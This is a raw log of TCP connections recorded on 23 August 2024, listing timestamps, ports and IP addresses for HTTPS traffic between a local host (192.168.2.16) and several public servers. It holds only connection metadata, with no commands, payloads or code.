Aug 23, 2024 16:21:53.780379057 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.780415058 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.797110081 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.806416988 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:53.806745052 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.806751966 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:53.807780027 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:53.807862043 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.808893919 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.808944941 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:53.809185028 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.809190035 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:53.815572023 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.815829039 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.815835953 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.816668987 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.816843987 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.816852093 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.817274094 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.817341089 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.818253040 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.818259001 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.818320036 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.818341017 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.818588018 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.818650007 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.818681955 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.818686008 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.818789005 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.818794966 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.828367949 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.860397100 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.860400915 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.860400915 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.018115044 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:54.018162012 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:54.018259048 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:54.018289089 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:54.018328905 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:54.040288925 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:54.040329933 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:54.054301977 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.054344893 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:54.054424047 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.054665089 CEST	49789	443	192.168.2.16	142.250.185.132
Aug 23, 2024 16:21:54.054678917 CEST	443	49789	142.250.185.132	192.168.2.16
Aug 23, 2024 16:21:54.056433916 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.056458950 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.056468964 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.056494951 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.056507111 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.056509972 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.056516886 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.056538105 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.056561947 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.056586981 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.057341099 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.067213058 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.067243099 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.067253113 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.067277908 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.067342997 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.067358971 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.069760084 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.070188999 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.075057030 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.075069904 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.100096941 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.109240055 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.109252930 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.109272003 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.109281063 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.109303951 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.109318972 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.109325886 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.109374046 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.138839006 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.138856888 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.138912916 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.138920069 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.138953924 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.138972998 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.141398907 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.141441107 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.141458035 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.141458988 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.141491890 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.142118931 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:54.142131090 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:54.145539999 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.145550013 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.145584106 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.145621061 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.145627975 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.145675898 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.146424055 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:54.146599054 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:54.146639109 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:54.146653891 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:54.146714926 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:54.148107052 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:54.148114920 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:54.150389910 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.150410891 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.150466919 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.150470972 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.150510073 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.154994011 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155098915 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155133963 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155144930 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.155155897 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155189037 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155194044 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.155200005 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155244112 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.155479908 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155776024 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.155817986 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.155822039 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.157929897 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.157980919 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158005953 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158021927 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.158026934 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158052921 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158065081 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.158068895 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158113003 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.158117056 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158536911 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158572912 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.158576965 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.158999920 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.159037113 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.159040928 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.161154032 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:54.161180973 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:54.161245108 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:54.161402941 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:54.161418915 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:54.161463976 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:54.162560940 CEST	49790	443	192.168.2.16	185.199.109.133
Aug 23, 2024 16:21:54.162571907 CEST	443	49790	185.199.109.133	192.168.2.16
Aug 23, 2024 16:21:54.162789106 CEST	49791	443	192.168.2.16	18.245.31.78
Aug 23, 2024 16:21:54.162801027 CEST	443	49791	18.245.31.78	192.168.2.16
Aug 23, 2024 16:21:54.164457083 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.164515972 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.164561033 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.164567947 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.164871931 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.164901972 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.164911985 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.164916039 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.164948940 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.164952993 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.165276051 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.165312052 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.165316105 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.199316025 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.199379921 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.199412107 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.199438095 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.199446917 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.199467897 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.199512005 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.199981928 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200012922 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200037956 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200038910 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.200048923 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200094938 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.200681925 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200725079 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200751066 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200759888 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.200767994 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.200803995 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.201036930 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.201268911 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.201294899 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.201313972 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.201319933 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.201355934 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.201359987 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.201845884 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.201884985 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.201889038 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.210364103 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.210364103 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.210364103 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.210388899 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.210402966 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.210413933 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212275982 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212331057 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212353945 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212392092 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212398052 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.212407112 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212435961 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.212899923 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212937117 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.212958097 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.212963104 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.213010073 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.213191986 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.213237047 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.213298082 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.213301897 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.242341995 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.252242088 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.252294064 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.252326012 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.252342939 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.252372026 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.253946066 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.253967047 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.254009008 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.254018068 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.254054070 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.255559921 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.255579948 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.255625010 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.255634069 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.255664110 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.257365942 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.257385969 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.257421017 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.257426023 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.257457018 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.258306026 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.258318901 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.258327961 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.258336067 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.288172007 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.288980007 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.309320927 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.337363005 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.337491989 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.337507010 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.339011908 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.339080095 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.339114904 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.339128017 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.339148998 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.339164972 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.339190006 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.340548992 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.340574026 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.340614080 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.340639114 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.340650082 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.340665102 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.340665102 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.340698957 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.341834068 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.341861010 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.341902971 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.341908932 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.341948986 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.341964006 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.342631102 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.342653990 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.342695951 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.342701912 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.342731953 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.342746019 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.344270945 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.344315052 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.344366074 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.344372988 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.344400883 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.344415903 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.345335007 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.345365047 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.345412970 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.345418930 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:54.345448017 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.345463037 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:54.355742931 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.355923891 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.355964899 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.355979919 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.356004953 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.356049061 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.356180906 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.356770992 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.356833935 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.356837034 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.356844902 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.356879950 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.356885910 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.357744932 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.357809067 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.357815027 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.357887983 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.357932091 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.357938051 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.357971907 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.358016014 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.358381987 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.358397007 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.358849049 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.358962059 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.359055996 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.359493017 CEST	49792	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.359532118 CEST	443	49792	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.362193108 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.362253904 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.362312078 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.362334967 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.362940073 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.362996101 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.363002062 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.363087893 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.363137007 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.363142967 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.363183022 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.363229990 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.363502979 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.363512039 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.363837957 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.363867044 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.363933086 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.364387035 CEST	49793	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.364401102 CEST	443	49793	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.369468927 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.369524956 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.369551897 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.369571924 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:54.369581938 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:54.369622946 CEST	49783	443	192.168.2.16	188.114.96.3
